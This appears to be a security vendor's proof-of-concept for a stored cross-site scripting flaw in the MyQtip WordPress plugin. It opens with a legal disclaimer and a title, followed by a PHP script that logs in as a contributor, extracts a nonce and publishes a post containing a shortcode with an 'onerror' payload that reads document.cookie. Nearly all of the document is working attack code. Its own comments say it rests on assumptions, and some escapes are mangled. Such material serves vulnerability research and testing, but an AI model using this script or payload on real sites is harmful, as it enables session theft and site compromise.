CVE-2026-1574: MyQtip – easy qTip2 <= 2.0.5 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode (myqtip-easy-qtip2)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1574 - MyQtip – easy qTip2 <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
<?php
/**
 * Proof of Concept for CVE-2026-1574
 * Assumptions based on vulnerability description:
 * 1. Plugin registers a shortcode 'myqtip'
 * 2. Shortcode accepts user-controlled attributes
 * 3. Attributes are not properly sanitized/escaped
 * 4. Contributor+ users can publish posts with shortcodes
 * 5. Payload executes when page loads
 */

$target_url = 'http://target-site.com';
$username = 'contributor_user';
$password = 'contributor_pass';

// Payload: XSS via shortcode attribute
$shortcode_payload = '[myqtip content="<img src=x onerror=alert(document.cookie)>" title="XSS"]';
$post_title = 'Test Post with Malicious Shortcode';
$post_content = "This post contains a malicious MyQtip shortcode.nn" . $shortcode_payload;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);

// Step 2: Get nonce for new post (from admin dashboard)
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// Extract nonce (simplified - real implementation would parse HTML)
// In practice, you would parse the response for _wpnonce or wp_rest_nonce
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$nonce = $nonce_matches[1] ?? 'invalid_nonce';

// Step 3: Create post with malicious shortcode
$create_post_url = $target_url . '/wp-admin/post.php';
$post_fields = [
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'user_ID' => '1', // Assumed user ID
    'action' => 'editpost',
    'post_status' => 'publish'
];

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);

// Step 4: Verify post creation
if (strpos($response, 'Post published') !== false || strpos($response, 'post=') !== false) {
    echo "[+] Post created successfully with XSS payloadn";
    echo "[+] Shortcode payload: $shortcode_payloadn";
    echo "[+] Visit any page containing this shortcode to trigger XSSn";
} else {
    echo "[-] Post creation may have failedn";
}

curl_close($ch);
?>